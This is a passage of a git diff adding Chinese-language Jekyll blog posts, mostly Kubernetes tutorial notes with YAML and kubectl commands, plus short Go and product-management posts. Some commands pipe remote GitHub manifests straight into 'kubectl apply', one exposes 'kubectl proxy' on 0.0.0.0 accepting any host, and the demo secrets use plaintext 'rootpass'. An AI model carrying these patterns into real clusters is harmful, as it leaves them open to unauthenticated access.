+kind: Pod +metadata: + name: my-pod + labels: + app: webserver + tier: backend + annotations: + version: latest + release_date: 2017/12/28 + contact: baoguo.ding@foxmail.com +spec: + containers: + - name: pod-demo + image: baoguoding/demo + ports: + - containerPort: 3000 + +kubectl create -f my-pod.yaml +kubectl get pod --show-labels +kubectl describe pod my-pod +kubectl label pod my-pod env=production +kubectl get pods --show-labels +kubectl edit pod my-pod + +--- +kubectl get nodes --show-lables + +# my-pod-with-node-selector.yaml +apiVersion: v1 +kind: Pod +metadata: + name: my-pod + labels: + app: webserver + tier: backend + annotations: + version: latest + release_date: 2017/12/28 + contact: baoguo.ding@foxmail.com +spec: + containers: + - name: pod-demo + image: baoguoding/demo + ports: + - containerPort: 3000 + nodeSelector: + hardware: high-memory + +kubectl create -f my-pod-with-node-selector.yaml +kubectl describe pod my-pod +kubectl label node hardware=high-memory +kubectl get pods +kubectl describe pod my-pod +``` + +# 参考 + ++ [Docker — 从入门到实践](https://github.com/yeasy/docker_practice/) ++ [Docker —— 從入門到實踐](https://philipzheng.gitbooks.io/docker_practice/content/) ++ [Kubernetes 30天學習筆記](https://github.com/zxcvbnius/k8s-30-day-sharing) diff --git a/_posts/2019-01-11-341-hc.md b/_posts/2019-01-11-341-hc.md new file mode 100644 index 0000000..511cf13 --- /dev/null +++ b/_posts/2019-01-11-341-hc.md @@ -0,0 +1,50 @@ +--- +layout: post +title: Health Check示例 +pid: 341 +tags: [k8s] +--- + +```demo +# my-deployment-with-health-checks.yaml +apiVersion: apps/v1beta2 # for kubectl versions >= 1.9.0 use apps/v1 +kind: Deployment +metadata: + name: hello-deployment +spec: + replicas: 3 + selector: + matchLabels: + app: my-deployment + template: + metadata: + labels: + app: my-deployment + spec: + containers: + - name: webapp + image: baoguoding/demo + ports: + - name: webapp-port + containerPort: 3000 + livenessProbe: + httpGet: + path: / + port: webapp-port + initialDelaySeconds: 15 + periodSeconds: 15 + timeoutSeconds: 30 + successThreshold: 1 + failureThreshold: 3 + +kubectl create -f my-deployment-with-health-checks.yaml +kubectl get deploy +kubectl describe deploy hello-deployment +``` + + +# 参考 + ++ [Docker — 从入门到实践](https://github.com/yeasy/docker_practice/) ++ [Docker —— 從入門到實踐](https://philipzheng.gitbooks.io/docker_practice/content/) ++ [Kubernetes 30天學習筆記](https://github.com/zxcvbnius/k8s-30-day-sharing) \ No newline at end of file diff --git a/_posts/2019-01-11-342-secret.md b/_posts/2019-01-11-342-secret.md new file mode 100644 index 0000000..dfc6bce --- /dev/null +++ b/_posts/2019-01-11-342-secret.md @@ -0,0 +1,104 @@ +--- +layout: post +title: Secret示例 +pid: 342 +tags: [k8s] +--- + +```demo +echo -n "root" > username.txt +echo -n "rootpass" > password.txt + +kubectl create secret generic demo-secret-from-file --from-file=./username.txt --from-file=./password.txt +kubectl describe secrets demo-secret-from-file +kubectl get secret + +--- +kubectl create secret generic demo-secret-from-literal --from-literal=username=root --from-literal=password=rootpass +kubectl describe secret demo-secret-from-literal + +--- +echo -n "root" | base64 +echo -n "rootpass" | base64 + +# my-secret.yaml +apiVersion: v1 +kind: Secret +metadata: + name: demo-secret-from-yaml +type: Opaque +data: + username: cm9vdA== + password: cm9vdHBhc3M= + +kubectl create -f my-secret.yaml +kubectl get secrets + +--- +# my-pod.yaml +apiVersion: v1 +kind: Pod +metadata: + name: my-pod + labels: + app: webserver +spec: + containers: + - name: demo-pod + image: baoguoding/demo + ports: + - containerPort: 3000 + env: + - name: SECRET_USERNAME + valueFrom: + secretKeyRef: + name: demo-secret-from-yaml + key: username + - name: SECRET_PASSWORD + valueFrom: + secretKeyRef: + name: demo-secret-from-yaml + key: password + +kubectl create -f my-pod.yaml +kubectl get pods +kubectl exec -it my-pod sh +echo $SECRET_USERNAME +echo $SECRET_PASSWORD + +--- +# my-pod-with-mounting-secret.yaml +apiVersion: v1 +kind: Pod +metadata: + name: my-pod-with-mounting-secret + labels: + app: webserver +spec: + containers: + - name: demo-pod + image: baoguoding/demo + ports: + - containerPort: 3000 + volumeMounts: + - name: secret-volume + mountPath: /etc/creds + readOnly: true + volumes: + - name: secret-volume + secret: + secretName: demo-secret-from-yaml + +kubectl create -f my-pod-with-mounting-secret.yaml +kubectl exec -it sh +ls /etc/creds +echo "$(cat /etc/creds/username)" +echo "$(cat /etc/creds/password)" +``` + + +# 参考 + ++ [Docker — 从入门到实践](https://github.com/yeasy/docker_practice/) ++ [Docker —— 從入門到實踐](https://philipzheng.gitbooks.io/docker_practice/content/) ++ [Kubernetes 30天學習筆記](https://github.com/zxcvbnius/k8s-30-day-sharing) \ No newline at end of file diff --git a/_posts/2019-01-12-343-wordpress.md b/_posts/2019-01-12-343-wordpress.md new file mode 100644 index 0000000..d4cf2dc --- /dev/null +++ b/_posts/2019-01-12-343-wordpress.md @@ -0,0 +1,90 @@ +--- +layout: post +title: Wordpress示例 +pid: 343 +tags: [k8s] +--- + +```demo +kubectl get nodes + +# wordpress-secret.yaml +apiVersion: v1 +kind: Secret +metadata: + name: wordpress-secret +type: Opaque +data: + db-password: cm9vdHBhc3M= + + +kubectl create -f wordpress-secret.yaml + +# my-wordpress-deploy.yaml +apiVersion: apps/v1beta2 +kind: Deployment +metadata: + name: wordpress-app +spec: + replicas: 1 + selector: + matchLabels: + app: wordpress-deployment + template: + metadata: + labels: + app: wordpress-deployment + spec: + containers: + - name: wordpress + image: wordpress:4-php7.0 + ports: + - name: wordpress-port + containerPort: 80 + env: + - name: WORDPRESS_DB_PASSWORD + valueFrom: + secretKeyRef: + name: wordpress-secret + key: db-password + - name: WORDPRESS_DB_HOST + value: 127.0.0.1 + - name: mysql + image: mysql:5.7 + ports: + - name: mysql-port + containerPort: 3306 + env: + - name: MYSQL_ROOT_PASSWORD + valueFrom: + secretKeyRef: + name: wordpress-secret + key: db-password + +kubectl create -f my-wordpress-deploy.yaml + +# wordpress-service.yaml +apiVersion: v1 +kind: Service +metadata: + name: wordpress-service +spec: + ports: + - port: 3000 + nodePort: 30300 + protocol: TCP + targetPort: wordpress-port + selector: + app: wordpress-deployment + type: NodePort + +kubectl create -f wordpress-service.yaml +kubectl get all +kubectl get service +``` + +# 参考 + ++ [Docker — 从入门到实践](https://github.com/yeasy/docker_practice/) ++ [Docker —— 從入門到實踐](https://philipzheng.gitbooks.io/docker_practice/content/) ++ [Kubernetes 30天學習筆記](https://github.com/zxcvbnius/k8s-30-day-sharing) diff --git a/_posts/2019-01-12-344-dashboard.md b/_posts/2019-01-12-344-dashboard.md new file mode 100644 index 0000000..4efd724 --- /dev/null +++ b/_posts/2019-01-12-344-dashboard.md @@ -0,0 +1,25 @@ +--- +layout: post +title: Dashboard示例 +pid: 344 +tags: [k8s] +--- + +```demo +kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/master/src/deploy/recommended/kubernetes-dashboard.yaml +kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v1.8.1/src/deploy/recommended/kubernetes-dashboard.yaml +kubectl proxy +kubectl proxy --address='0.0.0.0' --port=8002 --accept-hosts='^*$' + +http://127.0.0.1:8001/api/v1/namespaces/kube-system/services/kubernetes-dashboard/proxy/#!/overview?namespace=default +http://:/#!/overview?namespace=default +``` + +有待更多的实践，然后，再来整理！ + + +# 参考 + ++ [Docker — 从入门到实践](https://github.com/yeasy/docker_practice/) ++ [Docker —— 從入門到實踐](https://philipzheng.gitbooks.io/docker_practice/content/) ++ [Kubernetes 30天學習筆記](https://github.com/zxcvbnius/k8s-30-day-sharing) \ No newline at end of file diff --git a/_posts/2019-01-12-345-dns.md b/_posts/2019-01-12-345-dns.md new file mode 100644 index 0000000..b47e0d5 --- /dev/null +++ b/_posts/2019-01-12-345-dns.md @@ -0,0 +1,121 @@ +--- +layout: post +title: DNS示例 +pid: 345 +tags: [k8s] +--- + +```demo + +kubectl get pods --show-all=true --all-namespaces=true +kubectl get svc --show-all=true --all-namespaces=true +kubectl exec -it sh +/etc/resolve.conf + +--- +# mysql-secret.yaml +apiVersion: v1 +kind: Secret +metadata: + name: mysql-secret +type: Opaque +data: + # echo -n "rootpass" | base64 + db-root-password: cm9vdHBhc3M= + +kubectl create -f mysql-secret.yaml +kubectl get secret + +--- +# mysql-server-pod.yaml +apiVersion: v1 +kind: Pod +metadata: + name: mysql-server + labels: + app: mysql-server +spec: + containers: + - name: mysql-server + image: mysql:5.7 + ports: + - name: mysql-port + containerPort: 3306 + env: + - name: MYSQL_ROOT_PASSWORD + valueFrom: + secretKeyRef: + name: mysql-secret + key: db-root-password + +kubectl create -f mysql-server-pod.yaml +kubectl get pods + +--- +# mysql-server-service.yaml +apiVersion: v1 +kind: Service +metadata: + name: mysql-server-service +spec: + ports: + - port: 3306 + protocol: TCP + selector: + app: mysql-server + type: NodePort + +kubectl create -f mysql-server-service.yaml + +--- +# wordpress-pod.yaml +apiVersion: v1 +kind: Pod +metadata: + name: wordpress + labels: + app: wordpress +spec: + containers: + - name: wordpress + image: wordpress:4-php7.0 + ports: + - name: wordpress-port + containerPort: 80 + env: + - name: WORDPRESS_DB_PASSWORD + valueFrom: + secretKeyRef: + name: mysql-secret + key: db-root-password + - name: WORDPRESS_DB_HOST + value: mysql-server-service + + +# wordpress-service.yaml +apiVersion: v1 +kind: Service +metadata: + name: wordpress-service +spec: + ports: + - port: 3000 + nodePort: 30300 + protocol: TCP + targetPort: wordpress-port + selector: + app: wordpress + type: NodePort + +kubectl create -f wordpress-pod.yaml && \ +kubectl create -f wordpress-service.yaml + +--- +kubectl get all +``` + +# 参考 + ++ [Docker — 从入门到实践](https://github.com/yeasy/docker_practice/) ++ [Docker —— 從入門到實踐](https://philipzheng.gitbooks.io/docker_practice/content/) ++ [Kubernetes 30天學習筆記](https://github.com/zxcvbnius/k8s-30-day-sharing) \ No newline at end of file diff --git a/_posts/2019-01-12-346-configmap.md b/_posts/2019-01-12-346-configmap.md new file mode 100644 index 0000000..70ad1f1 --- /dev/null +++ b/_posts/2019-01-12-346-configmap.md @@ -0,0 +1,97 @@ +--- +layout: post +title: ConfigMap示例 +pid: 346 +tags: [k8s] +--- + +```demo +ConfigMap + +development -> staging -> production + +--- +# my-redis.conf +bind 127.0.0.1 +port 6379 +maxclients 10000 +maxmemory 50mb +maxmemory-policy volatile-lru +syslog-enabled yes +dir /var/lib/redis +dbfilename redis.dump.rdb +databases 1 +appendfsync everysec +save 600 10 + +kubectl create configmap redis-config --from-file=my-reids.conf +kubectl get configmap +kubectl describe configmap redis-config + +--- +kubectl create configmap mysql-host --from-literal=ip=127.0.0.1 +kubectl describe configmap mysql-host +kubectl delete configmap mysql-host + +--- +# my-nginx.conf +server { + listen 80; + server_name localhost; + + location / { + proxy_bind 127.0.0.1; + proxy_pass http://127.0.0.1:3000; + } + + error_page 500 502 503 504 /50x.html; + location = /50x.html { + root /usr/share/nginx/html; + } +} + +kubectl create configmap nginx-conf --from-file=my-nginx.conf + +--- +# my-pod.yaml +apiVersion: v1 +kind: Pod +metadata: + name: apiserver + labels: + app: webserver + tier: backend +spec: + containers: + - name: nodejs-app + image: baoguoding/demo + ports: + - containerPort: 3000 + - name: nginx + image: nginx:1.13 + ports: + - containerPort: 80 + volumeMounts: + - name: nginx-conf-volume + mountPath: /etc/nginx/conf.d + volumes: + - name: nginx-conf-volume + configmap: + name: nginx-conf + items: + - key: my-nginx.conf + path: my-nginx.conf + +kubectl create -f my-pod.yaml + +--- +kubectl expose pod apiserver --port=80 --type=NodePort +kubectl get svc + +``` + +# 参考 + ++ [Docker — 从入门到实践](https://github.com/yeasy/docker_practice/) ++ [Docker —— 從入門到實踐](https://philipzheng.gitbooks.io/docker_practice/content/) ++ [Kubernetes 30天學習筆記](https://github.com/zxcvbnius/k8s-30-day-sharing) \ No newline at end of file diff --git a/_posts/2019-01-12-347-ing.md b/_posts/2019-01-12-347-ing.md new file mode 100644 index 0000000..d92d1c3 --- /dev/null +++ b/_posts/2019-01-12-347-ing.md @@ -0,0 +1,163 @@ +--- +layout: post +title: Ingress示例 +pid: 347 +tags: [k8s] +--- + +```demo + +--- +# ingress-example-1.yaml +apiVersion: extensions/v1beta1 +kind: Ingress +metadata: + name: example-1 +spec: + rules: + - http: + paths: + - path: /test + backend: + serviceName: test + servicePort: 80 + +kubectl create -f ingress-example-1.yaml +kubectl get ing + +--- +# ingress-example-2.yaml +apiVersion: extensions/v1beta1 +kind: Ingress +metadata: + name: example-2 +spec: + rules: + - host: helloworld-v1.example.com + http: + paths: + - path: / + backend: + serviceName: helloworld-v1 + servicePort: 80 + - host: helloworld-v2.example.com + http: + paths: + - path: / + backend: + serviceName: helloworld-v2 + servicePort: 80 + +kubectl create -f ingress-example-2.yaml +kubectl get ing + +--- +# ingress-ssl-sceret.yaml +apiVersion: v1 +data: + tls.crt: base64_encoded_cert + tls.key: base64_encoded_key +kind: Secret +metadata: + name: ssh-secret + namespace: default +type: Opaque + +# ingress-example-3.yaml +apiVersion: extensions/v1beta1 +kind: Ingress +metadata: + name: example-3 +spec: + tls: + - secretName: ssh-secret + backend: + serviceName: apiservice + servicePort: 80 + +--- +# helloworld-pod.yaml +apiVersion: v1 +kind: Pod +metadata: + name: helloworld-pod + labels: + app: helloworld-pod + tier: backend +spec: + containers: + - name: api-server + image: baoguoding/demo + ports: + - containerPort: 3000 + +kubectl create -f helloworld-pod.yaml + +# helloworld-service.yaml +apiVersion: v1 +kind: Service +metadata: + name: helloworld-service +spec: + ports: + - port: 3000 + protocol: TCP + targetPort: 3000 + selector: + app: helloworld-pod + +kubectl create -f helloworld-service.yaml +kubectl get all + +--- + +curl https://raw.githubusercontent.com/kubernetes/ingress-nginx/master/deploy/namespace.yaml | kubectl apply -f - + +curl https://raw.githubusercontent.com/kubernetes/ingress-nginx/master/deploy/default-backend.yaml | kubectl apply -f - + +curl https://raw.githubusercontent.com/kubernetes/ingress-nginx/master/deploy/configmap.yaml | kubectl apply -f - + +curl https://raw.githubusercontent.com/kubernetes/ingress-nginx/master/deploy/tcp-services-configmap.yaml | kubectl apply -f - + +curl https://raw.githubusercontent.com/kubernetes/ingress-nginx/master/deploy/udp-services-configmap.yaml | kubectl apply -f - + +curl https://raw.githubusercontent.com/kubernetes/ingress-nginx/master/deploy/without-rbac.yaml | kubectl apply -f - + +kubectl get all -n ingress-nginx + +--- +# helloworld-ingress.yaml +apiVersion: extensions/v1beta1 +kind: Ingress +metadata: + name: helloworld-ingress + namespace: default +spec: + rules: + - host: helloworld.example.com + http: + paths: + - backend: + serviceName: helloworld-service + servicePort: 3000 + +--- + +Enable ingress on Cluster + +vim /etc/host +127.0.0.1 localhost + helloworld.example.com + +--- +curl http://helloworld.example.com/ + +curl http:// + +``` + +# 参考 + ++ [Docker — 从入门到实践](https://github.com/yeasy/docker_practice/) ++ [Docker —— 從入門到實踐](https://philipzheng.gitbooks.io/docker_practice/content/) ++ [Kubernetes 30天學習筆記](https://github.com/zxcvbnius/k8s-30-day-sharing) \ No newline at end of file diff --git a/_posts/2019-01-13-348-volumes.md b/_posts/2019-01-13-348-volumes.md new file mode 100644 index 0000000..52dbd9e --- /dev/null +++ b/_posts/2019-01-13-348-volumes.md @@ -0,0 +1,87 @@ +--- +layout: post +title: Volumes示例 +pid: 348 +tags: [k8s] +--- + +```demo +emptyDir + +--- +apiVersion: v1 +kind: Pod +metadata: + name: test-pd +spec: + containers: + - image: k8s.gcr.io/test-webserver + name: test-container + volumeMounts: + - mountPath: /cache + name: cache-volume + volumes: + - name: cache-volume + emptyDir: {} + +hostPath + +--- +# hostpath-example.yaml +apiVersion: v1 +kind: Pod +metadata: + name: apiserver +spec: + containers: + - name: apiserver + image: zxcvbnius/docker-demo + volumeMounts: + - mountPath: /tmp + name: tmp-volume + imagePullPolicy: Always + volumes: + - name: tmp-volume + hostPath: + path: /tmp + type: Directory + +kubectl create -f hostpath-example.yaml +kubectl exec -it apiserver sh +ls /tmp +echo "Hello World" > /tmp/test.txt +cat /tmp/test.txt +exit + +NFS(Network FileSystem) + +--- +# nfs-example.yaml +apiVersion: v1 +kind: Pod +metadata: + name: apiserver +spec: + containers: + - name: apiserver + image: zxcvbnius/docker-demo + ports: + - name: api-port + containerPort: 3000 + volumeMounts: + - name: nfs-volumes + mountPath: /tmp + volumes: + - name: nfs-volumes + nfs: + server: {YOUR_NFS_SERVER_URL} + path: / + + +``` + +# 参考 + ++ [Docker — 从入门到实践](https://github.com/yeasy/docker_practice/) ++ [Docker —— 從入門到實踐](https://philipzheng.gitbooks.io/docker_practice/content/) ++ [Kubernetes 30天學習筆記](https://github.com/zxcvbnius/k8s-30-day-sharing) \ No newline at end of file diff --git a/_posts/2019-01-21-349-zwfd.md b/_posts/2019-01-21-349-zwfd.md new file mode 100644 index 0000000..7c14cee --- /dev/null +++ b/_posts/2019-01-21-349-zwfd.md @@ -0,0 +1,16 @@ +--- +layout: post +title: 自我否定 +pid: 349 +tags: [岗前培训] +--- + +那些让我们成功的经验与积累，终会束缚我们的身体与灵魂。 + +持续打破那些让我们引以为自豪的经验，我们才能持续的获得新生。 + +每个清晨，我们像英雄一起醒来，用尽全部的力量和勇气挥拳一击，去击垮每一个昨天的我。 + +自我否定是人类存活至今最深邃的真理。 + +凡是真理，一定是不成立的。 \ No newline at end of file diff --git a/_posts/2019-01-27-350-go.md b/_posts/2019-01-27-350-go.md new file mode 100644 index 0000000..d6135b9 --- /dev/null +++ b/_posts/2019-01-27-350-go.md @@ -0,0 +1,25 @@ +--- +layout: post +title: Go语言之父谈Go：大道至简 +pid: 350 +tags: [go] +--- + +Go语言之父谈Go：大道至简 + +真正重要的是这些类能为你做什么而不是它们之间是什么关系！ + +如果说C++和Java是关于类的层次和分类，那么Go的核心思想就是组合（composition）。 + +同样Go也是这样——Go取自这一思想，但是更进一步——它就是一个组合与联结的语言。 + +Go是为大型程序设计的，需要大的团队编写和维护。 + +大软件需要确定的理念，但强依赖管理、整洁的接口、抽象化以及优秀的文档工具这些更为重要！不幸的是，这些没一个是C++的强项（不过这点Java明显就好得多）。 + +Go的目标是解放程序员！ + +# 引用 + ++ [Go语言之父谈Go：大道至简](https://www.csdn.net/article/2012-07-05/2807113-less-is-exponentially-more) ++ [Go语言之父谈Go：大道至简](https://commandcenter.blogspot.com/2012/06/less-is-exponentially-more.html) \ No newline at end of file diff --git a/_posts/2019-01-27-351-npdp.md b/_posts/2019-01-27-351-npdp.md new file mode 100644 index 0000000..a66b2d2 --- /dev/null +++ b/_posts/2019-01-27-351-npdp.md @@ -0,0 +1,162 @@ +--- +layout: post +title: 产品经理做什么？ +pid: 351 +tags: [产品经理] +--- + +思维、行为、结果 + +> 思维决定行动;行为产生结果;结果影响思维 + +NPDP：思维 + +PMP：行为 + +以软件开发为例：定义、设计、开发、发布、改进等五个阶段。 + +> 定义 + ++ 调研 + + 市场调查 + + 目标用户分析 + + 竞争分析 + + 盈利分析 ++ 需求文档 + + 产品目标 + + 用户需求 + + 功能列表 + +> 设计 + ++ 设计原型 + + 业务流程 + + 用户行为/用例 + + 界面布局 + + 信息架构 ++ 视觉设计 + + 视觉设计（色彩） + + 功能/交互界面 + + 交互设计（规范） + +> 开发（PMP相关内容[项目经理责任范围]） + ++ 代码 + + 开发进度管理 + + 团队协作 + + 需求管理 ++ 测试 + + 用例测试 + + 可用性测试 + + 用户体验测试 + +> 发布 + ++ 发布准备 + + 用户教育 + + 销售培训 + + 推广方案 + + 运营策略 + + 产品定价 + +> 改进 + ++ 数据分析 + + 用户反馈 + + 功能改进 + + 数据分析 + + 运营策略调整 + + 数据挖掘 + +> 产品经理的意识 + ++ 成本意识 ++ 销售意识 ++ 团队意识 ++ 全局意识 + +成本意识：固定成本与可变成本的关系，售价与销量的关系 + +销售意识：DDMD，随时可以去演示，好的产品会自我推销 + +团队意识：牛B, 装B, SB, 2B, 情商与智商的关系（IQ,EQ） + +全局意识： + +> 项目经理的工作 + ++ 写文档 + + 需求分析 + + 功能用例 + + 竞争分析 + + 盈利分析 + + 工具：Word/PPT/PDF ++ 画原型（低保真图） + + 用户流程 + + 界面框架 + + 交互设计 + + 工具：Axure/Visio/MindManage ++ 项目管理 + + 开发生命周期 + + 需求管理 + + 团队协作 + + 工具：SVC/PM software ++ 数据分析 + + 运营数据分析 + + 市场分析 + + 工具：Excel/baidu/google + +> 产品经理的进阶 + ++ 第一级：定义客户需求 ++ 第二级：协调产品开发 ++ 第三级：市场管理 ++ 第四级：Mini-CEO:产品战略 + + +需求为什么不对？ + +1. 找的人不对 +2. 人找对了，搞不清楚自己要什么 +3. 知道自己要什么，但是表达不出来 +4. 他不愿意讲需求，客户管理不到位 + +新产品创新从哪里来？ + +1. 企业战略中来 +2. 客户需求中来 +3. 竞争对手中来 + +新产品开发是相当复杂的活动 + +影响因素多 + ++ 可控 + + 公司文化 + + 战略 + + 能力 + + 组织 + + 财力 ++ 不可控 + + 竞争对手 + + 政府法规 + + 国际环境 + +利益关系者多 + ++ 内部 + + 董事会 + + 产品组 + + 营销组 + + 财务 + + 采购 ++ 外部 + + 咨询顾问 + + 供应商 + + 监管部门 + + 代理 + + 客户/用户 + + + + diff --git a/_posts/2019-01-28-352-npdp.md b/_posts/2019-01-28-352-npdp.md new file mode 100644 index 0000000..a3ab590 --- /dev/null +++ b/_posts/2019-01-28-352-npdp.md @@ -0,0 +1,109 @@ +--- +layout: post +title: 新产品开发战略 +pid: 352 +tags: [产品经理] +--- + +新产品开发战略为产品开发和进行中的产品管理提供环境 + +愿景（Vision）：公司未来的状态 + +使命（Mission）：公司为什么会存在 + +核心价值感（Values）：个人或组织在情感上选择坚守的原则 + +Alibaba + +Vision: 让客户相会、工作和生活在阿里巴巴，并持续发展至少102年 + +Mission: 让天下没有难做的生意 + +Culture and value: 客户第一、团队合作、拥抱变化、诚信、激情、敬业 + +华为 + +Vision: 我们致力于构建万物互联的智能世界，希望让每个人、每个家庭、每个组织获益，都能享受数字化、智能化在生活、工作、学习、健康等各个方面带来的价值 + +Mission：聚焦客户关注的挑战和压力，提供有竞争力的通信解决方案和服务，持续为客户创造最大价值 + +Culture and value: 成就客户、自我批判、开放进取、至诚至信、团队合作 + +> 战略的层次 + +1. 使命陈述 +2. 企业/经营战略 +3. 创新战略 +4. 职能战略 + +> 商业模式 + +1. 客户 +2. 盈利 +3. 产品 +4. 市场 + +价值主张 + +用一句话描述价值主张，就是说到这个商品或者企业，给你的第一感觉是什么？ + +比如你供应链管理比较厉害 + +成本领先，就一定要规划化。 + +波特成本领先战略 +1. 规模经济性——通过提高量产降低单位制造成本 +2. 通过提供“无冗余”或者“客户最看重内容”产品以降低制造成本 +3. 优化供应链——标准化零部件/原材料、包装，及时交付 + +优质客户提供差异化服务 + +分级服务 + +波特定义了三种通用战略： +1. 细分市场 +2. 差异化 +3. 成本领先 + +产品经理： +1. 想象力。 +2. 要有同理心 +3. 协调能力 +4. 人际关系 +5. 积极乐观的心态 + +迈尔斯和斯诺（Miles and Snow）战略框架 + +1. 探索者：特斯拉、亚马逊公有云 +2. 分析者：华为、联通 +3. 防御者：专利、更高质量更低价格 +4. 反应者：浙江民营企业 + +管理只是增加了成功的可能性，他并不是一门科学。 + +创新战略 + +1. 产品平台战略（Product platform strategy） +2. 技术战略（Technology Strategy） +3. 技术预测（Technology Foresight） + +好商品的五大价值 + +1. 功能价值 +2. 体验价值 +3. 品牌价值 +4. 服务价值 +5. 生态价值 + +能力战略（Capabilities Strategy） + +开放式创新（Open Innvovation） + + + + + + + + + diff --git a/_posts/2019-02-27-354-golangbot.md b/_posts/2019-02-27-354-golangbot.md new file mode 100644 index 0000000..7c93a1f --- /dev/null +++ b/_posts/2019-02-27-354-golangbot.md @@ -0,0 +1,13 @@ +--- +layout: post +title: golangbot +pid: 354 +tags: [go] +--- + +GO语言的教程 + +由于涉及版权，我不会做摘录，需要的话，请到下面的链接地址查看，一个是原文，一个是翻译，都很不错。 + +1. [golangbot.com](https://golangbot.com/learn-golang-series/) +2. [Go 系列教程](https://studygolang.com/subject/2) \ No newline at end of file diff --git a/_posts/2019-02-28-355-k8s.md b/_posts/2019-02-28-355-k8s.md new file mode 100644 index 0000000..239b820 --- /dev/null +++ b/_posts/2019-02-28-355-k8s.md @@ -0,0 +1,29 @@ +--- +layout: post +title: K8S源码解析之路 +pid: 355 +tags: [k8s] +--- + +开始撸K8S源代码！ + +```Command Shell +D:\go\src>mkdir k8s.io +D:\go\src>cd k8s.io +D:\go\src\k8s.io>git clone https://github.com/kubernetes/kubernetes.git +D:\go\src\k8s.io>git clone https://github.com/kubernetes/apimachinery.git +D:\go\src\k8s.io>git clone https://github.com/kubernetes/cli-runtime.git +D:\go\src\k8s.io>git clone https://github.com/kubernetes/client-go.git +D:\go\src\k8s.io>git clone https://github.com/kubernetes/apiserver.git +D:\go\src\k8s.io>git clone https://github.com/kubernetes/component-base.git +D:\go\src\k8s.io>git clone https://github.com/kubernetes/api.git +D:\go\src\k8s.io>git clone https://github.com/kubernetes/kube-scheduler.git +D:\go\src\k8s.io>cd kubernetes +D:\go\src\k8s.io\kubernetes>git branch -av +D:\go\src\k8s.io\kubernetes>git checkout release-1.14 +``` + +## 参考 + ++ [k8s ：源代码导入](https://segmentfault.com/a/1190000013750495) ++ [xingpingz](https://segmentfault.com/u/xingpingz/articles) \ No newline at end of file diff --git a/_posts/2019-03-01-356-cobra.md b/_posts/2019-03-01-356-cobra.md new file mode 100644 index 0000000..784044a --- /dev/null +++ b/_posts/2019-03-01-356-cobra.md @@ -0,0 +1,14 @@ +--- +layout: post +title: cobra +pid: 356 +tags: [go, k8s] +--- + +http://dockone.io/people/%E9%9A%BE%E6%98%93 + +# 参考 ++ [Golang之使用Cobra](https://o-my-chenjian.com/2017/09/20/Using-Cobra-With-Golang/) ++ [Cobra简介](https://time-track.cn/cobra-brief-introduction.html) ++ [golang命令行库cobra的使用](http://www.cnblogs.com/borey/p/5715641.html) ++ [Golang之使用Flag和Pflag](https://o-my-chenjian.com/2017/09/20/Using-Flag-And-Pflag-With-Golang/) \ No newline at end of file diff --git a/_posts/2019-03-01-356-gopm.md b/_posts/2019-03-01-356-gopm.md new file mode 100644 index 0000000..7a083f5 --- /dev/null +++ b/_posts/2019-03-01-356-gopm.md @@ -0,0 +1,16 @@ +--- +layout: post +title: gopm +pid: 357 +tags: [go, k8s] +--- + +Go Package Manager + +go get 无法翻墙拿到包的时候，可以使用gopm直接从github上面拿 + +```shell +cd %GOPATH% +go get -v -u github.com/gpmgo/gopm +gopm list +``` diff --git a/_posts/2019-03-01-357-gocli.md b/_posts/2019-03-01-357-gocli.md new file mode 100644 index 0000000..a801005 --- /dev/null +++ b/_posts/2019-03-01-357-gocli.md @@ -0,0 +1,13 @@ +--- +layout: post +title: Go 常用命令 +pid: 357 +tags: [go, k8s] +--- + +go get + +通常我们可以使用go get获取代码或者使用git clone获取代码，就是路径上要注意一下。 + + + diff --git a/_posts/2019-03-04-358-golang-org.md b/_posts/2019-03-04-358-golang-org.md new file mode 100644 index 0000000..22face7 --- /dev/null +++ b/_posts/2019-03-04-358-golang-org.md @@ -0,0 +1,18 @@ +--- +layout: post +title: golang.org/x +pid: 358 +tags: [go, k8s] +--- + +```shell +mkdir $GOPATH/src/golang.org/x +cd $GOPATH/src/golang.org/x +git clone https://github.com/golang/net.git + +go install xx +``` + + +# 参考 +[go get golang.org/x 包失败解决方法](https://blog.csdn.net/alexwoo0501/article/details/73409917) \ No newline at end of file diff --git a/_posts/2019-03-29-359-do-nothing.md b/_posts/2019-03-29-359-do-nothing.md new file mode 100644 index 0000000..0cc01b9 --- /dev/null +++ b/_posts/2019-03-29-359-do-nothing.md @@ -0,0 +1,23 @@ +--- +layout: post +title: 有些事情不要去做 +pid: 359 +tags: [岗前培训] +--- + +一个美国程序员分享自己的工作方法，其中有一条是 **"要么不做，要做就做完"**。 + +他的意思是，不要给自己留下做了一半的活。因为这意味着你需要再回来，继续把它做完；你会挂念这件事情，它就像一个钟摆，过一段时间就会重新出现在你的脑海，时不时烦扰着你。 + +你的目标应该是，当天就把这件事情做完，从此不必再去碰它，第二天继续做下一件事就行了。如果遇到一天做不完的大项目，那就把它分解成一个个小步骤，每天完成一个步骤。 + +我觉得他说得很好，但是这句话比较重要的，其实是前半句：**有些事情不要去做**。事情是做不完的，而你的时间和精力是有限的，不要只想着如何才能把事情做完，还要学会不做那些不应该做的事情。 + +某种程度上，不做比做完更困难。因为通常来说，做完一件事，多多少少都有一些好处，不做意味着你要放弃一些眼前的好处，这并不容易。 + +最糟糕的一种情况是，某个项目不值得做，但是你已经做了，为了不要浪费已经投入的成本，于是你进一步投入，在泥坑里面越陷越深。等到项目最后失败的时候，你大伤元气，一蹶不振。项目管理有一个很重要的原则，叫做"尽快失败"，就是为了防止这种情况。胡适先生原来学农科，专业是果树栽培，他觉得实在没意思，大学读到一半就改学哲学，后来当上了北大校长。如果他没有放弃，想着拿完农科文凭再说，那他大概就不会有以后的成就了。总之，**对于那些没希望的项目，放弃得越早越好**。 + + +# 参考 + +[每周分享第 49 期](http://www.ruanyifeng.com/blog/2019/03/weekly-issue-49.html) \ No newline at end of file diff --git a/_posts/2019-04-24-360-network.md b/_posts/2019-04-24-360-network.md new file mode 100644 index 0000000..d225cba --- /dev/null +++ b/_posts/2019-04-24-360-network.md @@ -0,0 +1,20 @@ +--- +layout: post +title: linux 网络诊断常用命令 +pid: 360 +tags: [linux] +--- + +```shell +[root@baoguo ~]# iftop +[root@baoguo ~]# ip addr +[root@baoguo ~]# ip route +[root@baoguo ~]# hostname +[root@baoguo ~]# cat /etc/resolv.conf +[root@baoguo ~]# netstat -antup +[root@baoguo ~]# iftop -i eth0 -P +[root@baoguo ~]# netstat -tunlp |grep 53696 +[root@baoguo ~]# netstat -nao | grep 100.100.30.54 +[root@baoguo 